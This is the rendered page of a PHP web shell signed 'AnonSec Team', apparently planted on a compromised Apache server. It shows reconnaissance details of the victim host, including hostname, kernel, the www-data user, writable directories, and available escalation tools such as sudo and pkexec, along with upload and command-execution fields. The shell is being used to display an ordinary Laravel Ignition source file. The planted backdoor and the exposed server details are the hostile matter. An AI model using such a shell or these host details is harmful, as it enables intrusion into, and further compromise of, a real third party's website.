NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.152
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/bahcrestline/core/vendor/facade/ignition/src/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/bahcrestline/core/vendor/facade/ignition/src/Support/ComposerClassMap.php
<?php

namespace Facade\Ignition\Support;

use Illuminate\Support\Str;
use Symfony\Component\Finder\Finder;
use Symfony\Component\Finder\SplFileInfo;

class ComposerClassMap
{
    /** @var \Composer\Autoload\ClassLoader */
    protected $composer;

    /** @var string */
    protected $basePath;

    public function __construct(?string $autoloaderPath = null)
    {
        $this->composer = require $autoloaderPath ?? base_path('/vendor/autoload.php');
        $this->basePath = app_path();
    }

    public function listClasses(): array
    {
        $classes = $this->composer->getClassMap();

        return array_merge($classes, $this->listClassesInPsrMaps());
    }

    public function searchClassMap(string $missingClass): ?string
    {
        foreach ($this->composer->getClassMap() as $fqcn => $file) {
            $basename = basename($file, '.php');

            if ($basename === $missingClass) {
                return $fqcn;
            }
        }

        return null;
    }

    public function listClassesInPsrMaps(): array
    {
        // TODO: This is incorrect. Doesnt list all fqcns. Need to parse namespace? e.g. App\LoginController is wrong

        $prefixes = array_merge(
            $this->composer->getPrefixes(),
            $this->composer->getPrefixesPsr4()
        );

        $classes = [];

        foreach ($prefixes as $namespace => $directories) {
            foreach ($directories as $directory) {
                $files = (new Finder)
                    ->in($directory)
                    ->files()
                    ->name('*.php');

                foreach ($files as $file) {
                    if ($file instanceof SplFileInfo) {
                        $fqcn = $this->getFullyQualifiedClassNameFromFile($namespace, $file);

                        $classes[$fqcn] = $file->getRelativePathname();
                    }
                }
            }
        }

        return $classes;
    }

    public function searchPsrMaps(string $missingClass): ?string
    {
        $prefixes = array_merge(
            $this->composer->getPrefixes(),
            $this->composer->getPrefixesPsr4()
        );

        foreach ($prefixes as $namespace => $directories) {
            foreach ($directories as $directory) {
                $files = (new Finder)
                    ->in($directory)
                    ->files()
                    ->name('*.php');

                foreach ($files as $file) {
                    if ($file instanceof SplFileInfo) {
                        $basename = basename($file->getRelativePathname(), '.php');

                        if ($basename === $missingClass) {
                            return $namespace.basename($file->getRelativePathname(), '.php');
                        }
                    }
                }
            }
        }

        return null;
    }

    protected function getFullyQualifiedClassNameFromFile(string $rootNamespace, SplFileInfo $file): string
    {
        $class = trim(str_replace($this->basePath, '', $file->getRealPath()), DIRECTORY_SEPARATOR);

        $class = str_replace(
            [DIRECTORY_SEPARATOR, 'App\\'],
            ['\\', app()->getNamespace()],
            ucfirst(Str::replaceLast('.php', '', $class))
        );

        return $rootNamespace.$class;
    }
}

Anon7 - 2022
AnonSec Team